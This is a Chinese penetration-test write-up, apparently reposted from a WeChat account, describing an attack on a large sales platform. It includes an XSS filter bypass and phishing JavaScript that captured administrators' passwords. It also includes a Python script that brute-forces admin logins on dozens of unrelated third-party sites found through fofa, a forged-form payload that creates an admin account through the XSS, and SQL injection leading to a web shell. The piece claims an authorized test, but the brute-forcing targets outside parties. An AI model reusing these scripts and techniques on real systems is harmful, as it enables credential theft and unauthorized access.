信息收集,收集到较多系统。但是大部分是使用了统一登录作用不是特别大!列出收集到有哪些测试信息,没进行测试的信息就不列出结果。本文适合新手小白观看...
因为之前渗透文章有过被阅后,对网站进行攻击。所以不相干的参数、系统图都会严格打码
收集到的前台程序类信息:
1.官网(某个较大有影响力的销售平台)
2.购物前台
3.积分平台
4.展示平台
5.博客
6.论坛
7.其他类型平台(20+个)
收集到的管理系统类信息:
1. OA系统
2. 帖子审核系统
3. 客服系统
4. 采购系统
5. 员工打卡系统
6. 外包系统
7. 财务系统(内网ip)
8. 统一登录类的系统(20+个)
9. 发货系统
10. 其他系统(10+)
漏洞挖掘与绕过 漏洞发觉过程是漫长的,而不是文章中三言两语就能展示成果一样...... 漫长挖掘中找到一处功能点是一个类似私信功能,同时可以将私信发送给管理员,以及官方账号但是需要经过审核才能通过。
这里测试了 <a> a标签是亮起来的存在未转义的情况。 但是有waf拦截,执行没有危险性的html标签是不会被拦的!
执行一句完整的xss payload 会直接删掉属性类 导致payload没法正常执行。经过漫长的绕过测试,最终发现一个数据包可以用两个同参数,并可展示出两个同参数的效果。
经过漫长的绕过测试,最终发现一个数据包可以用两个同参数,并可展示出两个同参数的效果。
使用了参数污染跟%0a的方式成功绕过了xss,这里可以看到xss可成功写入到html
执行了payload后发现存在httponly,没有收获到有效cookie。
2.钓鱼攻击
其中我xss中截图了对方浏览器的后台页面,尝试对后台下手测试,考虑了一些时间后选择用钓鱼的方式来进行攻击,钓鱼+xss 配合利用
用了自己写的钓鱼生成系统,复制对方的链接生成了高仿的钓鱼源码。
本地搭建环境运行了源码后正常使用
将钓鱼地址写到 js里xss打到了对方输入的两个密码。但是登录的时候密码登录不上。看密码的样子不像是乱输入的就是登录不上去!!
3 换思路攻击(绕过验证码)
前面做了许多铺垫,如果这样放弃当然很可惜。后面经过思考选择了寻找同特征的系统,在fofa找到了差不多有 6000+个同类型系统,因为登录位置经过多方位测试都没发现有漏洞!但验证码后面发现可以绕过很奇怪的姿势。
讲下这个验证码绕过的方式:这里想爆破验证码限制了,尝试把验证码的参数删除,删除后请求是直接200 显示空白很明显没成功
利用协议覆盖请求删除参数的数据包直接就绕过了,这样就成功了也不知道啥情况
4. 批量测试
前面因为系统测试中并无发现漏洞,后面绕过了登录验证码就想着“换一个思路攻击”竟然有6000多个同类型系统。
写个脚本去批量爆破账号密码看是否能够成爆破到测试站点,来仔细的研究这个系统功能有没有可利用或者‘配合初始那个xss’一起利用...
Ps:系统应该是其它公司付费搭建的,网上没有开源。我渗透后台系统都有个习惯就是渗透不下的系统,都会去找同类型的系统爆破有没有弱口令或者测试账号来测试后台内的功能...
不敢跑太多怕影响到系统使用,我采集了50个url批量跑账号密码,差不多挂了 十几分钟后收获到了几个成功的地址。
没写多线程,这个是随便发出来的比较烂规则也是随便写。只适合新手参考
import requests
import sys
sys.setrecursionlimit(1000000)
file = open('test.txt','r')
number = file.readlines()
file = open('pass.txt','r')
aaa = file.readlines()
def login():
for i in number:
i = i.rstrip()
# cookie有些站点有识别测试时记得添加修改
# 修改目标路径
for a in aaa:
a = a.rstrip()
url = 'http://' + str(i) + "/xxx.aspx"
headers = {
'cookie': 'sadasdassadsa',
'User-Agent': 'Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko)'
}
data = {
'account': 'admin',
'password': str(a),
'code': '',
'action': 'login'
}
# 代理设置
response = requests.post(url, headers=headers, data=data,proxies={'http':'http://127.0.0.1:8080'}).content.decode('utf-8')
if '用户名或密码错误' not in response: # 如果 返回信息'用户名或密码错误' 不在 result中那么print将不会打印出
ss = open('password.txt','a+')
print("密码:" + url,a,file=ss)
ss.close()
if __name__ == '__main__':
login()
登录了几个有一两个是误报前面的,后边几个都能正常登录。多数是未使用的系统我选择废弃的系统测试漏洞...
5 漏洞测试
了解这个系统来配合漏洞使用,我是先找有没有上传漏洞、未授权、注入、或者配合初始XSS的高危害漏洞...
这样才能得到后台权限、注入、上传漏洞、未授权、都没有什么可利用的漏洞。
最后看到功能中有一个添加组员的,差不多就是添加一个账号但是可以选择权限。只能利用这个功能点配合XSs 测试执行创建组员功能
var generateHideElement = function (name, value) {
var tempInput = document.createElement("input");
tempInput.type = "hidden";
tempInput.name = name;
tempInput.value = value;
return tempInput;
}
var form = document.createElement("form");
document.body.appendChild(form);
var dopost = generateHideElement("dopost", "send"),
aid = generateHideElement("role_id", "2"),
pid = generateHideElement("user", "aaa"),
password = generateHideElement("password", "123456");
token = generateHideElement("token", "7ac6e5s68e0d8"),
form.appendChild(dopost);
form.appendChild(role_id);
form.appendChild(user);
form.appendChild(password);
form.appendChild(token);
form.method = "post";
form.action = "https://www.***.com/xxx/xxx_ajax"
form.submit();
这里有token防护,但是token生成接口出来新的token不去使用是不会失效的。可以配合起来使用,执行js后跳转
Js执行后可以正常创建管理员,加密后打到“初始的xss”位置
过了十几小时后有收到xss的讯息,创建的账号密码也可以正常登录。但是没有什么用处,账号登录后系统无什么重要信息,权限比较低!我是想利用账号看看里面有没有其它账号的信息然后做成字典的。奈何没有什么功能可以用...
后面也找了很多其它功能测试,都没找到什么可利用的小漏洞。
但是在前面收集的系统(员工打卡系统)无意间用钓鱼到的账号和密码进行登录,发现可以成功登录,看来填写的账号密码是正确的。
登录后在这个系统一番功能查找,有个功能是存在SQL注入的
因为报错找到了绝对路径可以写入shell,这里没有waf拦很简单的拿到了shell。后面都是一些很简单的过程就不发出来了。
文章较为久远了 好多年前的一次授权测试。本文只提供思路请勿用于非法行为,其他概不负责
点击蓝色字体
关注安全计划
原文始发于微信公众号(快识):一次较长时间的渗透测试
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论